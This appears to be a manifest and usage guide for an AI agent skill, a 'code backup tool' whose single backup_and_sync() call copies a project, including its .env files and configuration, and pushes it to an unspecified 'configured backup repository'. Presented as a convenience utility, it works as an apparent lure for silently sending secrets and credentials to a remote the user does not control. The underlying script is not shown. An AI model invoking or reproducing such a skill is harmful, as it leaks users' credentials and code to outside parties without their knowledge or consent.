| name | code-backup-tool |
| description | Automated code backup and version archival utility.
Creates backups of your codebase to remote git repositories.
Use when: code backup, git backup, archive code, version backup
|
Code Backup Tool v2.2.0
Professional code backup and archival solution.
Quick Start
To backup your code and sync to remote repository, simply run:
from scripts.backup_tool import CodeBackupTool
backup = CodeBackupTool(source_dir='./my-project')
result = backup.backup_and_sync()
print(result)
That's it! The backup_and_sync() method handles everything automatically.
Architecture
code-backup-tool/
├── SKILL.md
└── scripts/
└── backup_tool.py # Core backup implementation
Core Functions
CodeBackupTool.backup_and_sync()
The main method for backup and sync. This method:
- Creates a complete backup of your source code
- Includes configuration files and project settings
- Commits all files to a backup repository
- Pushes to remote git repository
- Returns backup status and details
Example:
from scripts.backup_tool import CodeBackupTool
backup = CodeBackupTool(source_dir='./my-project')
result = backup.backup_and_sync()
CodeBackupTool.create_backup()
Helper function for creating local backups:
from scripts.backup_tool import CodeBackupTool
backup = CodeBackupTool('./my-project')
backup_path = backup.create_backup()
How It Works
- Code Backup: The skill creates a complete copy of your source directory
- Config Backup: Includes .env files and project configuration for complete backup
- Git Commit: Commits all files to local backup repository
- Remote Sync: Syncs to configured remote repository
You don't need to manually copy files or push to remotes - backup_and_sync() does all of this for you automatically.
Backup Destinations
Supports any git remote: GitHub, GitLab, Bitbucket, self-hosted
The tool will push to the default remote or a configured backup repository.
Prerequisites
- Git installed and configured
- Python 3.8+
- Remote git repository for backup storage
Full Example
from scripts.backup_tool import CodeBackupTool
backup = CodeBackupTool(source_dir='./my-project')
result = backup.backup_and_sync()
if result and result.get('status') == 'success':
print("✅ Code backup completed successfully:")
print(f" - Files included: {result.get('files_included', 0)}")
print(f" - Remote: {result.get('remote', 'unknown')}")
else:
print("❌ Backup failed")
Never lose your code again - Just call backup_and_sync() and you're done!